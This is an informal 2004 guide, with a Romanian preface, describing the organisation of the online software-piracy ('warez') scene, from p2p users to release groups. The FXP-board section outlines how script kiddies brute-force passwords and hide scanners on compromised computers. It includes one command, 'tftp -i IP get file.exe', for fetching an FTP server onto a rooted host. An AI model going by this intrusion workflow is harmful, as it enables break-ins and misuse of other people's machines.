Guide to Internet Piracy (2004)

Foarte multa lume nu stie ce inseamna pirateria. Nu consider ca stiu extrem de multe, atata vreme cat n-am fost niciodata mai sus de capatul drumului unei arhive. In schimb, ma supara faptul ca multi fac diverse afirmatii ce nu au acoperire. E un ghid vechi, dar care poate ajuta la formarea unei idei despre ce inseamna pirateria. Mi-as dori mult ca doua persoane dragi mie sa citeasca aceste randuri.


Piracy on the Internet, or "the warez scene" (as those into it like to call it) is suprisingly organized. Pirated software/games/movies/ anything are called warez and will referred to as that from now on.

The Piracy "Food Chain"


Warez/Release Groups - People who release the warez to the warez community. Often linked with Site Traders.


Site Traders - People who trade the releases from the above groups on fast servers.

FXP Boards - Skript Kiddies who scan/hack/fill vulnerable computers with warez.

IRC Kiddies - Users of IRC (Internet Relay Chat) who download from "XDCC Bots" or "Fserves."

KaZaA Kiddies - Users of KaZaA and other p2p (peer to peer) programs.

We'll start at the bottom.

KaZaA Kiddies


At the bottom of the piracy food chain we have the KaZaA Kiddies. There appear to be two groups of these KaZaA Kiddies. First, the 13 year old kids with broadband downloading the odd mp3 here and there because they can't afford outrageously overpriced CDs from stores. Harmless kids, costing no one any real money, pursuing their musical interest. Also, these are the people being labeled "pirates." These are the ones "Killing the Music Industry." These are the ones who are being sued by the RIAA for thousands of dollars. Sigh.


Second are the older, p2p veterans who use other p2p networks (Gnutella, BitTorrent, EMule) and programs as well as KaZaA. In addition to using p2p for music the may also download games, programs, movies, etc.

IRC Kiddies


Not far up from KaZaA Kiddies we have the pople who go to IRC for their warez fix. These folks can be more knowledgeable about computers and the Internet but tend to be just as irritating as the KaZaA Kiddies. Warez Channels are often run by people who have access to a fair amount of pirated materieal (more about them later). There are generally two types of these Warez Channels:


Fserve Chans. These can often be run by the same KaZaA or IRC kiddies. They don't really have a reason to run them; they just like to feel important. They mainly use the mIRC client's File Server function and some "133t skript" to share their warez direct from their hard drives.

XDCC Chans. These are usually run by people into FXP Boards and Sitetrading. They have access to fast, new warez. They "employ" people to "hack" into computers with fast Internet connections and install XDCC Clients (usually iroffer - which are used to share out pirated goods. From what I've seen, the people running these channels must primarily do it because they like to have power over a lot of people (being a chan op), but also they will often be given free shell accounts to run BNCs, Eggdrops, etc. by shell companies in exchange for an advert in the topic of the channel.

IRC Kiddies can be found on EFnet ( or Rizon ( Other servers and channels can be found through

FXP Boards


FXP is the File eXchange Protocol. It isn't an actual protocol, just a method of transfer making use of a vulnerability in FTP. It allows the transfer of files between two FTP servers. Rather than client to server, the tranfer becomes server to server. FXP usually allows faster transfer speeds altthough it is generally not enabled on commercial servers as it is also a vulnerability known as the "FTP Bounce Attack."


The Boards. FXP Boards usually run Vbulletin (from software from and its members consist of Scanners, Hackers, and Fillers. There are also usually a few odd members such as Graphics People or Administrators but they don't do much.

The Scanner. The Scanner's job is to scan IP ranges where fast Internet connection are knwon to lie (usually university, etc.) for computers with remote-root vulnerabilities. We're talking brute forcing MS SQL and Netbios passwords, sacnning for servers with the IIS Unicode bug (yes that three-year-old one). Oh yes, FXP Boards are where the lowest of the low Script Kiddies lurk. The Scanner will often use already "hacked" computers for his scanning (known as scanstro's), using "remote scan" programs such as SQLHF, XScan, Fscan, and HScan alsong with a nice programs to hide them (hiderun.exe) from the user of the computer. Once the Scanner has gotten his results, he'll run off to his FXP Board and post it. This is where the "Hacker" comes into play.

The "Hacker"/Script Kiddie/dot-slash Kiddie. Now I think it's fairly obvious what the "Hackers" do. (They actually call themselves hackers!) Yes, they break into computers. Their OS of choice (for breaking into) is usually Windows. There are many easy to exploit vulnerabilities and *nix scares these people. The Hacker's job is to run his application and "root" the scanned server. The program he uses (of course) depends upon the vulnerability the Scanner has scanned for. For example, if it's Netbios Password he will often either use psexec ( or DameWare NT Utilities. There are various other vulnerabilities and programs used - too many to list here. Once he has "rooted" the computer (this usually means getting a remote shell with admin rights), he will use a technique known as "the tftp method" or "the echo methods" (tftp -i IP get file.exe) to upload and install an FTPD (this is almost always Serv-U) on his target. (In the case of the IRC Kiddies this would also be iroffer.) Once the FTPD is installed and working he'll post the "admin" logins to the FTP server on his FXP Board. Depending on the speed of the compromised computer's (or "pubstro"/"stro") Internet connection and the hard drive space, it will be "taken" either by a Filler or a Scanner.

The Filler. Now if the "pubstro" is fast enough and has enough hard drive space, it's the Filler's job to get to work filling it with the latest warez (the Filler usually has another source for his warez such as Site Trading). Once he's done FXPing his warez, the Filler goes back to the board and posts "leech logins" (read only logins) for one and all to use. What a great community!

FXP Boards are mostly full of Script Kiddies and people with too much time on their hands. They like to think the FBI are after them and get very paranoid, but in reality no one really gives a damn what they're up to except the unlucky sysops who get all their bandwidth eaten up because they forgot to patch a three year-old vulnerability. The true "n00b" FXP Boards can be found on wondernet ( so, if you like, go sign up on one and see what it's all about. Tip: Pretend to be female. This will almost guarantee you a place on a board. Say you can scan/hack dcom, netbios, sql, apache, and have a 0hour source.

Site Trading


Next on the list and pretty much at the top or near the top (as far as I've seen) are the Site Traders. These are generally just people with too much time on their hands who have possibly workrd their way up through FXP Boards. Site Trading is basically theraing of pirated material between sites.


The Sites. These sites have very fast Internet connections (10mbit is considered the minimum, 100mbit good, and anything higher pretty damn good) and huge hard disk drives (200GB would probably be the minimum). These sites are often hosted at schools, universities, people's work,, and in Sweden (10mbit lines are damn cheap in .se). These sites are referred to as being "legit." This means that the owner of the computer knowns that they are there and being run. Fast connections mean a lot to some people. If you have access to a 100mbit line (and are wiling to run a warez server there), there are people who would quite happily pay for and have a computer shipped to you just for hosting a site that they will make absolutely no profit from (you can meet them on EFnet). Unfortunately, this is where credit card fraud can come into Site Trading. This is frowned upon by pretty much everyone (there is already enough paranoia and risk in
Site Trading) but some people do use stolen credit card information to buy hard drives and such. To be fair, Site Traders aren't a bad bunch - the majority don't even beleieve in making any money out of it and insist they are just doing it for fun. Anyways, back to the sites. GLFTPD is considered to be the FTPD to use (in fact, a lot of Site Traders and warez groups will not join a site unless it is running GLFTPD). This also means that *nix is the OS of choice (as there is no GLFTPD win port). As well as running FTPD, the sites run an eggdrop bot with various scripts installed. The bot will amke an annoucement on an IRC channel a directory is made or upload completed. It will also give race information.

The People. There are basically two ranks in sitetrading: "SiteOps" and "Racers."

SiteOps, as you will have guessed are the administrators. There are usually between two and five SiteOps. One is often the supplier of the site, another the person who found the supplier and guided them through the installation of the FTPD. The other will be friends and people involved in the arez scene. One or more of the SiteOps will be the "nuker." It is his job to "nuke" any releases that are old or fake (more about releases shorly).

Racers are the folks who will "race" releases between sites. Usually they will have access to a number of sites and will FXP release as soon as they're released. FXPing a release will gain credits. The ratio is usually 1:3, so FXPing 100MB will get them 300MB credits on the site, allowing them to FXP 300MB of data from that site, which will gain them 900mb where they FXP that, etc., etc. "Racing" of releases occurs when two or more racers are uploading the same file. The "race" is to upload the most of the release at the fastest speed. Racing happends shortly after a release is... released.

Warez/Release Groups/"grps"


These are the ones basically supplying everyone with the warez. These are the ones the MPAA and RIAA don't seem to be too worried about, or at least aren't making a big public fuss about. However, these groups are known to the FBI and they know that the FBI and whatever other authorities are watching them and collecting evidence. They know that one day these authorities will strike as they have done in the past. A lot of these people are just hoping that they won't be caught when it happens. As a result of this, anyone "high up" is extremely paranoid. Most users will use multiple BNCs (BouNCer, an IRC proxy) before even going near an IRC network. A lot of large groups will own their own IRC Networks
and SSL is used at every opportunity (FTP, IRC, etc.) It's hard to understand why these people actually do it when there is such a risk. The main reasons are, in my opinion, boredom. At the end of the day, if you're sitting in front
of your computer for most of your life you may as well be doung something other than flaming AOLers on IRC, and this sort of thing keeps you busy. Another reason is geekiness. Knowing that you were one of the first people on the Internet to see that film, or that's because of you that thousands of people are now playing that leaked Halflife 2 alpha and there are news articles everywhere about this "anonymous leaker" - it feels good, in a geeky kind of way. A lot of these people (not all, not all) may have rather uneventful lives and to know that, although at schol, college, or work they're considered a loser, they can go home at night and be looked upon as some kind of god within their group of online friends would feel good.


I do not believe that profit is a factor. These groups insist that they don't do this soft of thing for money, and I believe them.

There's a quote from a DEViANCE.nfo file: We do this just for FUN. We are against any profit or commercialisation of piracy. We do not spread any release, others do that. In fact, we BUY all our hames with our own hard earned and worked for efforts. Which is from our own real life non-scene jobs. As we love game originals. Nother beats a quality original. "If you like this game, BUY it. We did!"




A release is a piece of pirated material packaged and released by a warez group. The format of the release varies, but in the case of games or programs the release is usually in bin/cue, compressed with RAR, and split into 15,000,000 bite files. The naming of the release will usually by something along the lines of "New.Game.3-ReLEASEGROUP".


The types of releases vary. In games there are mainly either CD Images (bin/cue format) or Rips. Movies are either DivX/Xivds (two or three bin/cue files). There are many different types of movie releases. A great list of these can be found at Releases will almost always be accompanied by a .nfo file. This will provide information about the release and the group.

Additional Info


The following information is not from first hand experience, like the past information has been. This has been obtained from text files, told to me by people, and assumed. It will be mostly accurate, but there may well be errors.


The main members of any release group are:

The Supplier. This is the guy working at the local cinema or games store, the guy with the digital camera happy to sneak into the cinema , etc. Generally these people have to have access to new material, usually before anyone
else gets to it. Often they will also have to have a fairly decent upload speed.

The Cracker. (only in games/apps groups) This wlll vary between groups. For example, a VCD/SVCD group would not require a cracker. But the cracker plays an important role. He will have to crack the game's protection that stops the game from being pleyed without the official CD. This guy usually has a fair bit of programming experience and can be quite smart.

Site Supplier. Similar to Site Trading, however warez groups are often more picky about the sites they choose. The minimum speed is usually 100Mbit and often groups will only accept site that are being supplied by the actual System Ops/Admins themselves.

Courier. This guy's role is basically Site Trading. He has to distribute the group's release to other sites.


Terms you may have hard and their meanings:


PRE/PRE'd. When a release is released announcements will be made across many IRC channels called "PRE Chans." This is called the "PRE Time" and is the official time of release. PRE Time is used mainly in site trading.


0*. This is reference to how new the release is.

0sec. This is a dream - n00b IRC Chans of- then use this term but they are lying.

0hour. Mean the release was PRE'd under an hour ago.

0day. Mean the release was PRE'd under a day ago.

Nuked. If a release is Nuked, the uploader of the release will lose credits on the site he is Nuked on. A release is Nuked when it is breaking site rules (like eight hours of PRE or earlier).

Pubstro/Stro. This is a computer that has been compromised and has an FTPD running on it. It will be used to share warez, mainly to the FXP Community.

ScanStro. Similar to the above, but is used to scan for other vulneralbe computers.

Pub/Pubbing. Pubs are dard. These are from the old days when many university and business FTP servers had write access enabled on anonymous accounts. So instead of breaking into a computer, the warez kiddies would just upload their warez and give the IP address to their friends. This war very popular but died out for obvious reasons.

Tagging. Once found a Pub would be "tagged" (a folder with the name "" or something similar would be made). The idea was that if a Pub war already "tagged" other Pubbers would leave it alone. This apparently worked for a while, with people respecting other people's tags and leaving the Pubs alone. But it certainly hasn't worked for a very long time.

Dir Locking. This war used in Pubbing to stop people other that your warez group finding and downloading your warez (and slowing the server down). You would hide it, using directory names such as "com1" and "." These directory names would also be hard to delete or even open, so it could take some time before the warez were found by the server admin.

Raping. The act of Raping an FTP server is when someone downloads pretty much everything then can from it at a very fast speed. It's frowned upon.

Leeching. Downloading a lot without uploading.

PubStealing/Rehacking. Back "in the day" this would have been referring to as uploading to an already tagged Pub. Now it means replacing someone else's Serv-U with yours- Pub-Stealing is frowned upon and people will often be banned from FXP Boards if they are found to be doing it.

Securing. The act of Securing a pubstro would involve deleting key files such as ftp.exe, tftp.exe, cmd.exe, etc. or changing the username/password. Securing methods depend upon the vulnerability.

Blah, blah, blah